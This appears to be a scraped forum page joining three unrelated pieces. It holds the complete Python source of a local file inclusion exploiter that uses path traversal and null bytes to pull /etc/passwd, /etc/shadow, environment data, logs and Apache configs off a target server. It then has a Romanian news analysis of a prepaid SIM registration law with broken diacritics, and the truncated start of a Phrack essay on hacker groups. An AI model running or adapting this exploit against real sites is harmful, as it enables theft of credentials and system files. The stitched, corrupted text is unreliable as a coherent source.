Nytro

print "[Description]" print "The Simple Local File Inclusion Exploiter helps you to" print "exploit LFI vulnerabilities. After you found one, simply" print "pass the URL of the affected website and the vulnerable" print "parameter to this tool. You can also use this tool" print "to scan a parameter of an ULR for a LFI vulnerability." print "" print "[Usage]" print "./lfi_sploiter.py --exploit-url=\"<URL with http://>\" --vulnerable-parameter=\"<parameter>\"" print "" print "[Usage example]" print "./lfi_sploiter.py --exploit-url=\"http://www.example.com/page.php?file=main\" --vulnerable-parameter=\"file\" " #!/usr/bin/python# Simple Local File Inclusion Exploiter, version 1.2 # by Valentin Hoebel (valentin@xenuser.org) # ASCII FOR BREAKFAST # ---------- [Description] # This tool helps you to exploit LFI (Local File Inclusion) vulnerabilities. # After you found a LFI vulnerability simply pass the affected URL # and vulnerable parameter to this tool. # You can also use this tool to scan a URL for LFI vulnerabilities. # ---------- [Features] # - This time with working random user agents # - Checks if a connection to the target can be established # - Some error handling # - Scans a parameter of a URL for a LFI vulnerability # - Finds out how a LFI vulnerability can be exploited (e.g. directory depth) # - Supports nullbytes # - Dumps a list of interesting files (e.g. /etc/passwd and logs) to the hard disk # - Supports common *nix targets, but no Windows systems. # - Creates a small log file. # Supports no SEO URLs, such as www.example.com/local-news/ # But in most cases it is possible to find out the real URL and pass it to this script. # ---------- [usage example] # ./lfi_sploiter.py --exploit-url="http://www.example.com/page.php?url=main" --vulnerable-parameter="url" # The tool then assumes that the parameter "url" is vulnerable and attacks the target. # When you do not know which parameter is vulnerable simply try one parameter after another, # this tool will scan the parameter and tell you if it is vulnerable But only pass one parameter at once! # ---------- [Known issues] # - I know there is more about LFI than it is covered in this tool. But this is the first release, # and more features will be implemented in future versions. # - This tool is only able to handle "simple" LFI vulnerabilities, but not complex ones. # For example: Some LFI vulnerabilities consist of two URL parameters or require to # find a way around filters. In those cases, this tool unfortunately does not work. # - Like most other LFI exploiter / scanner, this tool here also has problems with # handling certain server responses. So this tool does not work with every website. # ---------- [Tested with] # Targets: Apache2 servers and PHP websites, various Linux systems # Script platform: Ubuntu Lucid Lynx and Python 2.6.5 # ---------- [Notes] # - This tool was developed using a Python 2.6.5 interpreter. # - I admit: This tool is a little bit slow and not very efficient (too many variables etc.). Sorry about that # - Modify, distribute, share and copy this code in any way you like! # - Please note that this tool was created and published for educational purposes only, e.g. for pentesting # your own website. Do not use it in an illegal way and always know + respect your local laws. # I am not responsible if you cause any damage with it. # ---------- [Changelog] # - Version 1.2 (05th December 2010): # - Added some more "interesting files" # # - Version 1.1 (23th November 2010): # - Added new log file <domain name>-details.txt which contains some information about the current scan # - Added some more "interesting files" # - Added some more user agents # # - Version 1.0 (21th November 2010): # - Initial release # Power to the cows! import getopt, sys, random, urllib, urllib2, httplib, re, string, os from urllib2 import Request, urlopen, URLError, HTTPError from urlparse import urlparse from time import gmtime, strftime def print_usage(): print_banner() print "[!] Wrong argument and parameters passed. Use --help and learn how to use this tool :)" print " Hint: You need to pass a value for --exploit-url=\"<value>\" and --vulnerable-parameter=\"<value>\"." print " Example: ./lfi_sploiter.py --exploit-url=\"http://www.example.com/page.php?file=main\" --vulnerable-parameter=\"file\" " print "" print "" sys.exit() return def print_help(): print_banner() print "((Displaying the content for --help.))" print "" print "[Description]" print "The Simple Local File Inclusion Exploiter helps you to" print "exploit LFI vulnerabilities. After you found one, simply" print "pass the URL of the affected website and the vulnerable" print "parameter to this tool. You can also use this tool" print "to scan a parameter of an ULR for a LFI vulnerability." print "" print "[usage]" print "./lfi_sploiter.py --exploit-url=\"<URL with http://>\" --vulnerable-parameter=\"<parameter>\"" print "" print "[usage example]" print "./lfi_sploiter.py --exploit-url=\"http://www.example.com/page.php?file=main\" --vulnerable-parameter=\"file\" " print "" print "[usage notes]" print "- Always use http://...." print "- When you pass a vulnerable parameter, this tool assumes that it is really vulnerable." print "- If you do not know if a parameter is vulnerable, simply pass it to this script and let the scanner have a look." print "- Only use one vulnerable parameter at once." print "- This tool does not work with SEO URLs, such as http://www.example.com/news-about-the-internet/." print " If you only have a SEO URL, try to find out the real URL which contents parameters." print "" print "[Feature list]" print "- Provides a random user agent for the connection." print "- Checks if a connection to the target can be established." print "- Tries catch most errors with error handling. " print "- Contains a LFI scanner (only scans one parameter at once)." print "- Finds out how a LFI vulnerability can be exploited (e.g. directory depth)." print "- Supports nullbytes!" print "- Exploit features: Dumps a list of interesting files to your hard disk." print "- Supports common *nix targets, but no Windows systems." print "- Creates a small log file." print "" print "[some notes]" print "- Tested with Python 2.6.5." print "- Modify, distribute, share and copy the code in any way you like!" print "- Please note that this tool was created for educational purposes only." print "- Do not use this tool in an illegal way. Know and respect your local laws." print "- Only use this tool for legal purposes, such as pentesting your own website :)" print "- I am not responsible if you cause any damage or break the law." print "- Power to teh c0ws!" print "" print "" sys.exit() return def print_banner(): print "" print "" print "" print "Simple Local File Inclusion Exploiter" print "by Valentin Hoebel (valentin@xenuser.org)" print "" print "Version 1.2 (05th December 2010) ^__^" print " (oo)\________" print " (__)\ )\/\ " print " ||----w |" print "Power to teh cows! || ||" print "____________________________________________________" print "" return def test_url(exploit_url): print "" print " Assuming the provided data was correct." print " Trying to establish a connection with a random user agent..." user_agents = [ "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.9)", "Mozilla/5.0 (X11; U; Linux 2.4.2-2 i586; en-US; m18) Gecko/20010131 Netscape6/6.01 ", "Opera/8.00 (Windows NT 5.1; U; en)", "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.1 Safari/525.19 " ] user_agent = random.choice (user_agents) check="" request_website = urllib2.Request(exploit_url) request_website.add_header('User-Agent', user_agent) try: check = urllib2.urlopen(request_website) except HTTPError, e: print "[!] The connection could not be established." print "[!] Error code: ", e print "[!] Exiting now!" print "" print "" sys.exit(1) except URLError, e: print "[!] The connection could not be established." print "[!] Reason: ", e print "[!] Exiting now!" print "" print "" sys.exit(1) else: print " Connected to target! URL seems to be valid." print " Jumping to the exploit feature." return def exploit_lfi(exploit_url, vulnerable_parameter): print "" # Define all variables of this function # I know, there are more efficient ways of handling all the "problems" we encounter later in this script, # but well, I am still learning lfi_found = 0 param_equals = "=" param_sign_1 = "?" param_sign_2 = "&" nullbyte = "%00" one_step_deeper = "../" for_the_first_test = "/" for_changing_the_dump_file_name = "_" for_the_second_test = ".." max_depth = 20 i = 0 nullbyte_required = 1 depth = 0 original_vulnerable_parameter_value = "" query_string = "" modified_query_string = "" lfi_url_part_one = "" lfi_url_part_two = "" lfi_url_part_three = "" lfi_url_part_four = "" lfi_url = "" find_nasty_string = "root:x:0:0:" find_nasty_string_2 = "mail:x:8:" user_agents = [ "Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.25 (jaunty) Firefox/3.8", "Mozilla/5.0 (X11; Linux i686; rv:2.0b3pre) Gecko/20100731 Firefox/4.0b3pre", "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.6)", "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en)", "Mozilla/3.01 (Macintosh; PPC)", "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.9)", "Mozilla/5.0 (X11; U; Linux 2.4.2-2 i586; en-US; m18) Gecko/20010131 Netscape6/6.01", "Opera/8.00 (Windows NT 5.1; U; en)", "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.1 Safari/525.19" ] user_agent = random.choice (user_agents) lfi_response="" lfi_response_source_code = "" replace_string = "" replace_string_2 = "" replace_me = "" value_for_vulnerable_parameter = "" value_for_vulnerable_parameter_2 = "" exploit_depth= 0 folder_name = "" cd_into = "" change_dump_filename = "" log_file_name = "" # I know, some of these are rarely accessible for the webserver, but you never know... it is worth the try! # Never ever change the first line! local_files = [ "etc/passwd", "proc/self/environ", "var/log/apache2/access.log", "var/log/apache2/access_log", "var/log/apache2/error.log", "var/log/apache2/error_log", "var/log/httpd/access.log", "var/log/httpd/access_log", "var/log/httpd/error.log", "var/log/httpd/error_log", "var/log/nginx/access.log", "var/log/nginx/access_log", "var/log/nginx/error.log", "var/log/nginx/error_log", "etc/shadow", "etc/group", "var/log/auth.log", "proc/self/status", "proc/self/mounts", "proc/cpuinfo", "proc/meminfo", "etc/apache2/httpd.conf", "etc/apache2/apache2.conf", "etc/apache2/envvars" ] # We have to split up the URL in order to replace the value of the vulnerable parameter get_parsed_url = urlparse(exploit_url) print " For exploiting the LFI vulnerability we need to split the URL into its parts." print " IP address / domain: " + get_parsed_url.netloc if len(get_parsed_url.path) == 0: print "[!] The URL doesn't contain a script (e.g. target/index.php)." else: print " Script:", get_parsed_url.path if len(get_parsed_url.query) == 0: print "[!] The URL doesn't contain a query string (e.g. index.php?var1=x&controller=main)." else: print " URL query string:", get_parsed_url.query print "" # Finding all URL parameters if param_sign_1 in exploit_url and param_equals in exploit_url: print " It seems that the URL contains at least one parameter." print " Trying to find also other parameters..." # It seems that there is at least one parameter in the URL. Trying to find out if there are also others... if param_sign_2 in get_parsed_url.query and param_equals in get_parsed_url.query: print " Also found at least one other parameter in the URL." else: print " No other parameters were found." else: print "" print "[!] It seems that there is no parameter in the URL." print "[!] How am I supposed to find a vulnerability?" print "[!] Please provide an URL with a script and query string." print "[!] Example: target/index.php?cat=1&article_id=2&controller=main" print "[!] Hint: I can't handle SEO links, so try to find an URL with a query string." print "[!] This can most likely be done by having a look at the source code (rightclick -> show source code in your browser)." print "[!] Exiting now!" print "" print "" sys.exit(1) # Detect the parameters # Thanks to atomized.org for the URL splitting and parameters parsing part! parameters = dict([part.split('=') for part in get_parsed_url[4].split('&')]) # Count the parameters parameters_count = len(parameters) # Print the parameters and store them in single variables print " The following", parameters_count, "parameter(s) was/were found:" print "", parameters # Check if the URL contains the provided vulnerable parameter print "" print " According to you, the vulnerable parameter should be: " + vulnerable_parameter print " Checking if this parameter exists in the provided URL..." if vulnerable_parameter in get_parsed_url.query: print " Found your vulnerable parameter in the URL." else: print "[!] I was not able to find your vulnerable parameter within the provided URL." print "[!] How am I supposed to exploit the LFI vulnerabililty then?" print "[!] Exiting now!" print "" print "" sys.exit(1) # We now try to find out how this LFI vulnerability can be exploited # a) How deep do we need to go (../../......) and do we need to use the nullbyte? =) # We find this out by trying to access the /etc/passwd file.. it should always be accessible. print "" print " Now trying to find out how this LFI vulnerability can be exploited..." print " This can take a while." value_for_vulnerable_parameter = for_the_first_test value_for_vulnerable_parameter += value_for_vulnerable_parameter.join(local_files[0:1]) value_for_vulnerable_parameter_2 = "".join(local_files[0:1]) value_for_vulnerable_parameter_with_nullbyte = value_for_vulnerable_parameter + nullbyte value_for_vulnerable_parameter_with_nullbyte_2 = value_for_vulnerable_parameter_2 + nullbyte query_string = get_parsed_url.query # Find out what value the vulnerable parameter currently has for key, value in parameters.items(): if key == vulnerable_parameter: # Save the value of the vulnerable parameter, so we later can search in in the URL original_vulnerable_parameter_value = value # Our main routine, maybe the most important part of this script # At first without the nullbyte for depth in range(i, max_depth): # Replace the default value of the vulnerable parameter with our LFI string replace_string = (depth * one_step_deeper) + value_for_vulnerable_parameter_2 replace_string_2 = vulnerable_parameter + param_equals + (depth * one_step_deeper) + value_for_vulnerable_parameter_2 if depth== 0: replace_string = (depth * one_step_deeper) + value_for_vulnerable_parameter replace_string_2 = vulnerable_parameter + param_equals + (depth * one_step_deeper) + value_for_vulnerable_parameter replace_me = vulnerable_parameter + param_equals + original_vulnerable_parameter_value modified_query_string = query_string.replace(replace_me, replace_string_2) # Now craft the URL lfi_url_part_one = "".join(get_parsed_url[0:1]) + "://" lfi_url_part_two = "".join(get_parsed_url[1:2]) lfi_url_part_three = "".join(get_parsed_url[2:3]) + "?" lfi_url_part_four = "".join(modified_query_string) lfi_url = lfi_url_part_one + lfi_url_part_two + lfi_url_part_three + lfi_url_part_four # Ok, everything is prepared to enter subspace.. eeh, to call the URL (Stargate fans get this joke!) request_website = urllib2.Request(lfi_url) request_website.add_header('User-Agent', user_agent) try: lfi_response = urllib2.urlopen(request_website) except URLError, e: print "[!] The connection could not be established." print "[!] Reason: ", e else: lfi_response_source_code = lfi_response.read() if find_nasty_string in lfi_response_source_code: print "[+] Found signs of a successfull LFI vulnerability! No nullbyte was required." print "[+] URL: " + lfi_url nullbyte_required = 0 lfi_found = 1 exploit_depth = depth break else: if find_nasty_string_2 in lfi_response_source_code: print "[+] Found signs of a successfull LFI vulnerability! No nullbyte was required." print "[+] URL: " + lfi_url nullbyte_required = 0 lfi_found = 1 exploit_depth = depth break if nullbyte_required == 1: # Now with the nullbyte for depth in range(i, max_depth): # Replace the default value of the vulnerable parameter with our LFI string replace_string = (depth * one_step_deeper) + value_for_vulnerable_parameter_with_nullbyte_2 replace_string_2 = vulnerable_parameter + param_equals + (depth * one_step_deeper) + value_for_vulnerable_parameter_with_nullbyte_2 if depth== 0: replace_string = (depth * one_step_deeper) + value_for_vulnerable_parameter_with_nullbyte replace_string_2 = vulnerable_parameter + param_equals + (depth * one_step_deeper) + value_for_vulnerable_parameter_with_nullbyte replace_me = vulnerable_parameter + param_equals + original_vulnerable_parameter_value modified_query_string = query_string.replace(replace_me, replace_string_2) # Now craft the URL lfi_url_part_one = "".join(get_parsed_url[0:1]) + "://" lfi_url_part_two = "".join(get_parsed_url[1:2]) lfi_url_part_three = "".join(get_parsed_url[2:3]) + "?" lfi_url_part_four = "".join(modified_query_string) lfi_url = lfi_url_part_one + lfi_url_part_two + lfi_url_part_three + lfi_url_part_four # Ok, everything is prepared to enter subspace.. eeh, to call the URL (Stargate fans get this joke!) request_website = urllib2.Request(lfi_url) request_website.add_header('User-Agent', user_agent) try: lfi_response = urllib2.urlopen(request_website) except URLError, e: print "[!] The connection could not be established." print "[!] Reason: ", e else: lfi_response_source_code = lfi_response.read() if find_nasty_string in lfi_response_source_code: print "[+] Found signs of a successfull LFI vulnerability! Using the nullbyte was necessary." print "[+] URL: " + lfi_url lfi_found = 1 exploit_depth = depth break else: if find_nasty_string_2 in lfi_response_source_code: print "[+] Found signs of a successfull LFI vulnerability! Using the nullbyte was necessary." print "[+] URL: " + lfi_url lfi_found = 1 exploit_depth = depth break if lfi_found == 0: print "[!] The LFI vulnerability could not be detected." print "[!] Exiting now!" print "" print "" sys.exit() # Now that we know the details of the LFI vulnerability, we can start to exploit it. # At first we try to dump all interesting files to your local hard disk print "" print " Exploiting the LFI vulnerability starts right now." print " Trying to dump some interesting files to your local hard disk..." # "Craft" the folder name, it contains the scanned website and a formatted timestamp folder_name = get_parsed_url.netloc + "_-_" + strftime("%d_%b_%Y_%H:%M:%S_+0000", gmtime()) # Create the folder, with some error handling try: os.mkdir(folder_name) except OSError: print "[!] Something is wrong, the folder could not be created. Check the chmod and chown permissions!" print "[!] Exiting now!" print "" print "" sys.exit(1) cd_into = os.getcwd() + "/" + folder_name + "/" os.chdir(cd_into) # New since version 1.1: Create a small log file log_file_name = folder_name + "_-_scan.log" FILE = open(log_file_name, "w") FILE.write("Simple Local File Inclusion Exploiter - Log File\n") FILE.write("----------------------------------------------------------\n\n") FILE.write("Exploited URL:\n") FILE.write(exploit_url + "\n\n") FILE.write("LFI URL:\n") FILE.write(lfi_url) FILE.close # Start "calling" the files. Yeeeha! for key, file in enumerate(local_files): # Craft the URL # Consider nullbyte usage... if nullbyte_required == 0: # Consider that the LFI can be exploited by the first try and that no "cd .."s are needed. # Yes, sometimes this works! For example in my test script So this code block has a right to exist, believe it or not =) replace_string = (exploit_depth * one_step_deeper) + file replace_string_2 = vulnerable_parameter + param_equals + (exploit_depth * one_step_deeper) + file if exploit_depth == 0: replace_string = (exploit_depth * one_step_deeper) + for_the_first_test + file replace_string_2 = vulnerable_parameter + param_equals + (exploit_depth * one_step_deeper) + for_the_first_test + file replace_me = vulnerable_parameter + param_equals + original_vulnerable_parameter_value modified_query_string = query_string.replace(replace_me, replace_string_2) lfi_url_part_one = "".join(get_parsed_url[0:1]) + "://" lfi_url_part_two = "".join(get_parsed_url[1:2]) lfi_url_part_three = "".join(get_parsed_url[2:3]) + "?" lfi_url_part_four = "".join(modified_query_string) lfi_url = lfi_url_part_one + lfi_url_part_two + lfi_url_part_three + lfi_url_part_four request_website = urllib2.Request(lfi_url) request_website.add_header('User-Agent', user_agent) try: lfi_response = urllib2.urlopen(request_website) except URLError, e: print "[!] The connection could not be established." print "[!] Reason: ", e else: lfi_response_source_code = lfi_response.read() # Dump the file # We need to replace the "/" with underscores change_dump_filename = file.replace(for_the_first_test, for_changing_the_dump_file_name) print "[+] Dumping file: " + for_the_first_test + file FILE = open(change_dump_filename, "w") FILE.write(lfi_response_source_code ) FILE.close elif nullbyte_required == 1: # Consider that the LFI can be exploited by the first try and that no "cd .."s are needed. # Yes, sometimes this works! For example in my test script So this code block has a right to exist, believe it or not =) replace_string = (exploit_depth * one_step_deeper) + file + nullbyte replace_string_2 = vulnerable_parameter + param_equals + (exploit_depth * one_step_deeper) + file + nullbyte if exploit_depth == 0: replace_string = (exploit_depth * one_step_deeper) + for_the_first_test + file + nullbyte replace_string_2 = vulnerable_parameter + param_equals + (exploit_depth * one_step_deeper) + for_the_first_test + file + nullbyte replace_me = vulnerable_parameter + param_equals + original_vulnerable_parameter_value modified_query_string = query_string.replace(replace_me, replace_string_2) lfi_url_part_one = "".join(get_parsed_url[0:1]) + "://" lfi_url_part_two = "".join(get_parsed_url[1:2]) lfi_url_part_three = "".join(get_parsed_url[2:3]) + "?" lfi_url_part_four = "".join(modified_query_string) lfi_url = lfi_url_part_one + lfi_url_part_two + lfi_url_part_three + lfi_url_part_four request_website = urllib2.Request(lfi_url) request_website.add_header('User-Agent', user_agent) try: lfi_response = urllib2.urlopen(request_website) except URLError, e: print "[!] The connection could not be established." print "[!] Reason: ", e else: lfi_response_source_code = lfi_response.read() # Dump the file # We need to replace the "/" with underscores change_dump_filename = file.replace(for_the_first_test, for_changing_the_dump_file_name) print "[+] Dumping file: " + for_the_first_test + file FILE = open(change_dump_filename, "w") FILE.write(lfi_response_source_code ) FILE.close print " Hint: The files are also dumped when we have no permission to view them." print " Instead of the file, the PHP error message will be dumped." print "" print " Completed the task. Will now exit!" print " A small log file was created." print " I know, there is more about LFI than it is covered here, but this will be implemented in later versions of this tool." print " Feel free to send in some feedback!" print "" print"" sys.exit(1) return def main(argv): exploit_url="" vulnerable_parameter="" try: opts, args = getopt.getopt(sys.argv[1:], "", ["help", "exploit-url=, "vulnerable-parameter=]) except getopt.GetoptError : print_usage() sys.exit(2) for opt, arg in opts: if opt in ("--help"): print_help() break sys.exit(1) elif opt in ("--exploit-url") : exploit_url=arg elif opt in ("--vulnerable-parameter"): vulnerable_parameter=arg if len(exploit_url) < 1: print_usage() sys.exit() if len(vulnerable_parameter) < 1: print_usage() sys.exit() # Continue if all required arguments were passed to the script. print_banner() print " Provided URL to exploit: " + exploit_url print " Provided vulnerable parameter: " + vulnerable_parameter # Check if URL is test_url(exploit_url) # Calling the LFI exploit function exploit_lfi(exploit_url, vulnerable_parameter) if __name__ == "__main__": main(sys.argv[1:]) ### EOF ### Download: www.xenuser.org/tools/lfi_sploiter.py

ANALIZ?: Deputa?ii discut? miercuri Legea pentru identificarea celor care cump?r? cartele pre-pay de Andi Manciu - Mediafax Deputa?ii din Comisia de tehnologia informa?iei ?i din Comisia juridic? discut? în aceast? s?pt?mân? legea ini?iat? de Guvern care permite identificarea celor care cump?r? cartele pre-pay, ace?tia reprezentând peste 60% din utilizatorii de telefonie mobil? sau a celor care folosesc re?ele wireless. Ini?iativa Guvernului prin care utilizatorii de cartele telefonice prepay sunt obliga?i s?-?i declare datele personale la momentul achizi?ion?rii acestora a intrat în procedur? de urgen?? în dezbaterea Camerei Deputa?ilor, for decizional. Actul normativ, care a fost adoptat deja de Senat, ar urma s? intre în vigoare de la 1 ianuarie 2015. Pre?edintele Comisiei pentru tehnologia informa?iei, deputatul Daniel Oajdea, a declarat pentru MEDIAFAX c? proiectul de lege va fi discutat miercuri în forul pe care îl conduce, fiind invita?i atât reprezentan?i ai SRI, cât ?i ai societ??ii civile. Totodat?, actul normativ trebuie s? intre, în paralel, ?i în dezbaterea Comisiei juridice. Cele dou? comisii de specialitate ar fi trebuit s? finalizeze discu?iile asupra proiectului la 5 iunie ?i s? înainteze plenului un raport comun. "Proiectul con?ine anumite erori care trebuie, dup? p?rerea mea, corectate. Cred c? e interesul tuturor ca în final s? avem un proiect de lege cât mai bun ?i care s? r?spund? într-adev?r solicit?rilor ?i nu un proiect pe care s?-l tot modific?m", a afirmat Oajdea. El a precizat c?, pe lâng? înregistrarea datelor utilizatorilor de cartele prepay, mai exist? o problem? în cazul celor care utilizeaz? re?ele de internet wireless, în cazul c?rora proiectul de lege instituie obligativitatea identific?rii. Expunerea de motive a Guvernului precizeaz? c? în prezent pia?a de telefonie mobil? este dominat? de cartelele prepay, care reprezint? 67% din num?rul total de utilizatori ai serviciilor de comunica?ii mobile. Executivul sus?ine c? ar exista o discriminare între consumatorii de servicii care sunt abona?i ?i cei care folosesc cartele prepay, deoarece sunt re?inute datele cu caracter personal doar ale celor dintâi. De asemenea, în ceea ce prive?te impactul social al modific?rilor legislative, Guvernul precizeaz?: "Aplicarea actului normativ va asigura un climat de normalitate ?i siguran?? civic?, prin prevenirea criminalit??ii, inclusiv a formelor sale grave ori cu caracter transfrontalier, precum ?i a actelor de terorism. Se asigur? astfel protec?ia popula?iei, a bunurilor materiale ?i valorilor, într-o abordare european?, dar ?inând cont de particularit??ile na?ionale". Consiliul Legislativ a emis un aviz pozitiv asupra proiectului Guvernului, îns? a semnalat faptul c? argumentele invocate pentru adoptarea modific?rilor legislative nu sunt unele solide. Astfel, Guvernul a sus?inut c? este dificil? identificarea utilizatorilor de cartele prepl?tite în cazul desf??ur?rii cercet?rii penale sau prevenirea amenin??rilor la adresa securit??ii na?ionale. Consiliul Legislativ spune c? acest argument nu se poate aplica în totalitate cât? vreme legea se aplic? doar persoanelor fizice ?i juridice din România. "Cartele de telefonie prepl?tite pot fi achizi?ionate ?i în alte state unde nu exist? obligativitatea identific?rii utilizatorului, iar posesorii lor pot intra pe teritoriul României ?i pot folosi aceste cartele prin activarea serviciului de roaming, ceea ce face ca eficacitatea prezentelor norme s? se reduc?", se arat? în avizul Consiliului Legislativ. De asemenea, documentul precizeac? c? "la nivelul Uniunii Europene nu exist? un act normativ de natur? s? oblige statele membre s? identifice utilizatorii cartelelor de telefonie prepl?tite". CL citeaz? dintr-un raport întocmit de Comisia European? conform c?ruia doar ?ase state membre ale UE (Danemarca, Spania, Italia, Grecia, Slovacia ?i Bulgaria) au adoptat m?suri pentru înregistrarea cartelelor SIM prepl?tite, în timp ce Polonia, Cipru ?i Lituania au sus?inut ideea adopt?rii unor m?suri la nivelul UE în acest sens. Raportul CE, citat de Consiliul Legislativ, precizeaz?: "Eficacitatea acestor m?suri na?ionale nu a fost dovedit?". În plus, Consiliul Legislativ atrage aten?ia asupra unor defini?ii stabilite de proiectul Guvernului care ar putea determina declararea acestora ca neconstitu?ionale din cauza aspectului prea general al acestora. Avizul CL face referire la sintagma "date privind identificarea consumatorilor", care nu detaliaz? care categorii de date urmeaz? a fi re?inute, problem? semnalat? de Curtea Constitu?ional? în 2009 asupra unui text similar. "Lipsa unei reglement?ri legale precise, care s? determine cu exactitate sfera acelor date necesare identific?rii persoanelor fizice sau juridice ultilizatoare, deschide posibilitatea unor abuzuri în activitatea de re?inere, prelucrare ?i utilizare a datelor stocate de furnizorii serviciilor de comunica?ii electronice destinate publicului sau de re?ele publice de comunica?ii", se arat? în decizia CC din 2009. Chiar dac? din partea Consiliului Legislativ au existat observa?ii pentru amendarea proiectului de lege al Guvernului, în Senat, acesta a fost aprobat pe 2 iunie f?r? vreo modificare, preferându-se men?inerea formei ini?iate de Executiv. Proiectul a fost adoptat cu 76 de voturi "pentru", 9 "împotriv?" ?i 3 ab?ineri, majoritatea senatorilor PSD fiind în favoarea acestuia, împreun? cu to?i senatorii PDL ?i UDMR. Acest act normativ este strâns legat de o alt? lege aflat? în vigoare, Legea Big Brother (Legea 82/2012), care venea s? transpun? în legisla?ia na?ional? o directiv? european? emis? în 2006, dup? atentatele teroriste de la Londra ?i Madrid. Aceast? lege precizeaz? c? datele utilizatorilor de comunica?ii electronice, cum este cazul internetului sau telefoniei mobile, sunt re?inute de operatori pentru ?ase luni. Aceste date re?inute nu vizeaz?, îns?, con?inutul convorbirilor purtate prin mijloace electronice. Mecanismul ofer?, în schimb, posibilitatea organelor de urm?rire penal? de a solicita aceste date de la operatorii serviciilor de comunica?ii electronice. Între timp, directiva european? (2006/24/EC) în baza c?reia a fost promovat? în România Legea Big Brother a fost respins? de Curtea European? de Justi?ie pentru motivul c? ar reprezenta o imixtiune grav? în drepturile fundamentale privind respectarea vie?ii private ?i protectia datelor cu caracter personal. Acest lucru a determinat 40 de parlamentari ai PNL s? semneze o propunere legislativ? promovat? de deputatul Alina Gorghiu pentru abrogarea Legii Big Brother. Ini?iativa lui Gorghiu se afl? în procesul legislativ, urmând a fi discutat? în Senat. De asemenea, în strâns? leg?tur? cu Legea Big Brother se afl? ?i Legea siguran?ei na?ionale, care a fost modificat? anul trecut în Parlament ?i a intrat în vigoare la 1 februarie anul acesta. Astfel, actul normativ a fost completat cu posibilitatea de a accesa astfel de date, cu excep?ia con?inutului comunica?iilor, f?r? autoriza?ie prealabil? din partea judec?torilor. Autorizarea judec?torului se aplic? doar în cazul mandatului de interceptare a comunica?iilor. Astfel, abrogarea Legii Big Brother ar afecta prevederi ale Legii siguran?ei na?ionale. În schimb, promovarea proiectului Guvernului privind identificarea utilizatorilor de cartele prepay ar facilita activitatea serviciilor de informa?ii ?i a organelor de cercetare penal?. Sursa: ANALIZ?: Deputa?ii discut? miercuri Legea pentru identificarea celor care cump?r? cartele pre-pay - Mediafax

The Fall of Hacker Groups |=-----------------------------------------------------------------------=| |=--------------------=[ The Fall of Hacker Groups ]=--------------------=| |=-----------------------------------------------------------------------=| |=--------------=[ Strauss <strauss@REMOVEME.phrack.org> ]=--------------=| |=-----------------------------------------------------------------------=| --[ Contents 1 - Introduction 2 - Background 3 - Nowadays 4 - Conclusion 5 - Shouts 6 - Bibliography 7 - Notes --[ 1 - Introduction The earlier, bigger part of hacking history often had congregations as protagonists. From CCC in the early 80s to TESO in the 2000s, through LoD, MoD, cDc, L0pht, and the many other sung and unsung teams of hacker heroes, our culture was created, shaped, and immortalized by their articles, tools, and actions. This article discusses why recently we do not see many hacker groups anymore, and why the ones we do, such as Anonymous and its satellite efforts, do not succeed in having the same cultural impact as their forefathers. --[ 2 - Background Hacking is, in its very essence, an underground movement. Those who take part on it have always been the ones who (ab)used technology in ways beyond the knowledge of the larger userbase. It is tightly linked to intense efforts in unveiling previously unknown information as well as in sharing these discoveries. These premises hold true for as long as we know hackers: since computers had barely no users up until the informatic massification of today. The nature of the hacker interests intrinsically poses difficulties: growing knowledge on anything is hard. It requires heavy research, experimentation, and can turn into an endless journey if objectives are not carefully set. Just like in any field of scientific studies, it calls for a good amount of colaboration, an attitude which, luckily for hackers, was greatly enabled by the advent of computer networks and, most notably, the Internet. Computer networks increasingly made it possible to transmit unlimited and uncensored information across their geographical extent with little effort, with little costs, and in virtually no time. From the communication development standpoint, one would expect that the events that followed the 80s to our days would lead to a geometric progression in the number of hacker communities. In effect, hacking has arguably grown. Hacker communities, definitely not. So what went wrong? --[ 3 - Nowadays We live in days of limited creativity. Moreover, as contraditory as it may seem, it looks particularly rare for creativity to arise from groups or teams. Communities, rather than individuals, should be more intellectually empowered to create, but lately we have been watching the force of the solo, the age of the ego. That, of course, when we do see anything that catches our attention for originality, which is an ever scarcer pleasure. In "Time Wars" [1], Mark Fisher explains that post-fordism has taken us to this catatonic inability to innovate. Our nearly obsessive compulsion for work consumes not only our time, in the literal form of labor hours, but our minds, by distracting us from everything else we could be doing otherwise. These distractions include our unceasing connection to ubiquous media (e.g. the frequent checks for new e-mail, or accesses to social networks on mobile devices) as well as an increased concern with financial stability and provisioning, a concern that grows as welfare is invariably trimmed by both the governments and the private sector. It is important to note that our capitalist worries are more deeply rooted in us than might seem at first, even in the most politically diverse people. Supporting oneself is not easy, it does not come for free. Getting some education, finding a job, staying up-to-date... regardless of what your aspirations are, whatever you feel obliged to do is probably a lot, already. And it likely involves a prevalence of "minding your own business". The unsettlement created in our thoughts affects intellectual solidarity in even more severe ways than it does individual creation. Simply put, if it is already so difficult for one person to focus away from these "distractions" and into inspired productivity, let alone for a group to join in a true collective mind. The ties that bind collective-minded parties together take dedication to build, and our egotistical concerns do not help (see note "A"). Not only is commitment required for the actual work to be accomplished, but also to identify the shared values and goals that enable true human connectivity. Notice this does not concern _collaboration_ as much as it does _collectiveness_. Collaboration typically breaks down the creative process in a way it can be incrementally achieved with very self-sufficient, individualistic contributions. Such is the case in most open-source software projects. Roles are very well segregated so that a minimum of human integration is required, as far as most modern software development processes go, anyway. A true "hive mind" [2] cannot exist without the support from a stronger, more unisonant cognitive bond. Funny enough, the popular variants of LOIC, the DDoS tool used by "Anonymous", contain a "hive mind" feature (i.e. getting a target automatically from a given IRC server and channel and firing your packets against it). You wish it was that easy. The concept of the "conscience collective" was first established by Emile Durkheim who, in his 1893 book "The Division of Labor in Society", expressed 'that the more primitive societies are, the more resemblances (particularly as reflected in primitive religion) there are among the individuals who compose them; inversely, the more civilized a people, the more easily distinguishable its individual members', as put by R. Alun Jones [3]. Well, following (or despite) the prosperous adoption of atheism and agnosticism as professed in the Internet and other popular media, it is understood that religious beliefs are in a low, taking a bit of what socities traditionally saw as a point of unity. In fact, there seems to be an ever growing search for uniqueness in the modern man, especially that from the 